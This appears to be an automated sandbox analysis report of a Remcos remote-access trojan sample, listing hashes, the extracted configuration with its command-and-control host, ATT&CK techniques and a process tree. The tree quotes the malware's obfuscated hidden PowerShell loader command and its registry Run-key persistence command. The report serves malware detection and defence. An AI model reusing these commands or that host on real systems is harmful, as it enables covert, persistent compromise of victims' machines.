remcos | 24924df6e5f906dc670ba961f6988681536b9dc540d38c3ccbec44ddf3aa4eea

Resubmissions

10/07/2024, 21:52

240710-1rav9avakd8

10/07/2024, 21:52

240710-1q75csvaka10

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 21:52

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General

Target
24924df6e5f906dc670ba961f6988681536b9dc540d38c3ccbec44ddf3aa4eea.exe
Size 883KB
Sample240710-1q75csvaka
SHA256 24924df6e5f906dc670ba961f6988681536b9dc540d38c3ccbec44ddf3aa4eea
MD5 f9d9aeb51076e4bd92d48f9aed428f73
SHA1 0d09bb2239f9931f4b43978df66f917491c585ff
SHA512 c7dc2446dab255de136ea40851ed9595447ccc098dcfdafd18bb36f331312d33c3d0578ef1efbc563f7b44484f9f3d175f7838b151aacfa262bdd85efd25e575
SSDEEP 24576:33WbOu88u2R7ET7SDR3CaHouNH6K8Yx1Lm:33Wyu852GTUYaI6aRY/m
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

newskingdomz.live:22330

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-5DIOEW
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2144	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Windows\CurrentVersion\Run\Jebusitish = "%Mythizes% -windowstyle minimized $Hyacinthia=(Get-ItemProperty -Path 'HKCU:\\Suggestibleness\\').Tourings;%Mythizes% ($Hyacinthia)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2760	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2144	powershell.exe
2760	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2144 set thread context of 2760	2144	powershell.exe	31

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2700	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2144	powershell.exe
2144	powershell.exe
2144	powershell.exe
2144	powershell.exe
2144	powershell.exe
2144	powershell.exe
2144	powershell.exe
2144	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2144	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2144	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2408 wrote to memory of 2144	2408	24924df6e5f906dc670ba961f6988681536b9dc540d38c3ccbec44ddf3aa4eea.exe	28
PID 2408 wrote to memory of 2144	2408	24924df6e5f906dc670ba961f6988681536b9dc540d38c3ccbec44ddf3aa4eea.exe	28
PID 2408 wrote to memory of 2144	2408	24924df6e5f906dc670ba961f6988681536b9dc540d38c3ccbec44ddf3aa4eea.exe	28
PID 2408 wrote to memory of 2144	2408	24924df6e5f906dc670ba961f6988681536b9dc540d38c3ccbec44ddf3aa4eea.exe	28
PID 2144 wrote to memory of 2760	2144	powershell.exe	31
PID 2144 wrote to memory of 2760	2144	powershell.exe	31
PID 2144 wrote to memory of 2760	2144	powershell.exe	31
PID 2144 wrote to memory of 2760	2144	powershell.exe	31
PID 2144 wrote to memory of 2760	2144	powershell.exe	31
PID 2144 wrote to memory of 2760	2144	powershell.exe	31
PID 2760 wrote to memory of 2808	2760	wab.exe	34
PID 2760 wrote to memory of 2808	2760	wab.exe	34
PID 2760 wrote to memory of 2808	2760	wab.exe	34
PID 2760 wrote to memory of 2808	2760	wab.exe	34
PID 2808 wrote to memory of 2700	2808	cmd.exe	36
PID 2808 wrote to memory of 2700	2808	cmd.exe	36
PID 2808 wrote to memory of 2700	2808	cmd.exe	36
PID 2808 wrote to memory of 2700	2808	cmd.exe	36

C:\Users\Admin\AppData\Local\Temp\24924df6e5f906dc670ba961f6988681536b9dc540d38c3ccbec44ddf3aa4eea.exe
"C:\Users\Admin\AppData\Local\Temp\24924df6e5f906dc670ba961f6988681536b9dc540d38c3ccbec44ddf3aa4eea.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2408
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden " $Hvorunder=cat 'C:\Users\Admin\AppData\Local\forfrdelige\begyndervanskelighederne\Styrbart.Udd32';$Ladet=$Hvorunder.substring(79396,3);.$Ladet($Hvorunder)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of WriteProcessMemory
    PID:2760
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Jebusitish" /t REG_EXPAND_SZ /d "%Mythizes% -windowstyle minimized $Hyacinthia=(Get-ItemProperty -Path 'HKCU:\Suggestibleness\').Tourings;%Mythizes% ($Hyacinthia)"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2808
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Jebusitish" /t REG_EXPAND_SZ /d "%Mythizes% -windowstyle minimized $Hyacinthia=(Get-ItemProperty -Path 'HKCU:\Suggestibleness\').Tourings;%Mythizes% ($Hyacinthia)"
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

Selvangivelses.Smu

Path C:\Users\Admin\AppData\Local\forfrdelige\begyndervanskelighederne\Selvangivelses.Smu
Size 306KB
SHA256 56b287edf339cb6ce437f3483aa8cd216f384de31072c166f8f5759ecef6872a
MD5 0d8ac1cc70b744c71408f9c4b45ac8ba
SHA1 3eff8c83439dd7a2d04a2c4df866268a41e89090
SHA512 38e69dad8073013c3fba7a03f9830b46259bf8b5987f40a47f073e277389982033d78ce1d7bcea94fcb00076879f963df823f7477a193255253e8d5dc9a3603d
SSDEEP 6144:pTuwHdxpy+EA+xauFidYOjXmF6DV6y9S063leUfVBqaf6:phy+ENxt+brmco30WeUdBqR
MD5 SHA1 SHA512 SSDEEP

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Styrbart.Udd32

Path C:\Users\Admin\AppData\Local\forfrdelige\begyndervanskelighederne\Styrbart.Udd32
Size 77KB
SHA256 c4c4975be1638c2835feccda60c614f43ad6c2a7307f9b8767ac5ef7fff871b9
MD5 c967dc6ba909ec0d35aad8d3efe9b465
SHA1 c8f79c72565e4a37c7776722c66acdd4c7351376
SHA512 f2ee67693ac9ac5f0735f0069c77693ed31e919afdacf8ce70a36dbed20ec729e499a092662d078875100ca9b3ea53aeae8a5aa765eecda7a528c77f15ac9428
SSDEEP 1536:tIULQ2ZO8qlCY99l5ps9w2VvcUUVHCjhkkd3nx8FIzGo0JEEEhIgl:tIUc288ACY9LjslVvq9kd3xEHJJohPl
MD5 SHA1 SHA512 SSDEEP

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memory/2144-18-0x00000000738A0000-0x0000000073E4B000-memory.dmp

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memory/2144-15-0x00000000738A1000-0x00000000738A2000-memory.dmp

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memory/2144-17-0x00000000738A0000-0x0000000073E4B000-memory.dmp

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memory/2144-21-0x00000000738A0000-0x0000000073E4B000-memory.dmp

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memory/2144-16-0x00000000738A0000-0x0000000073E4B000-memory.dmp

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memory/2144-23-0x00000000738A0000-0x0000000073E4B000-memory.dmp

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memory/2144-25-0x00000000738A0000-0x0000000073E4B000-memory.dmp

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memory/2144-24-0x00000000065C0000-0x00000000096F4000-memory.dmp

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memory/2760-26-0x0000000000B00000-0x0000000001B62000-memory.dmp

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memory/2760-28-0x0000000000B00000-0x0000000001B62000-memory.dmp

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memory/2760-32-0x0000000000B00000-0x0000000001B62000-memory.dmp

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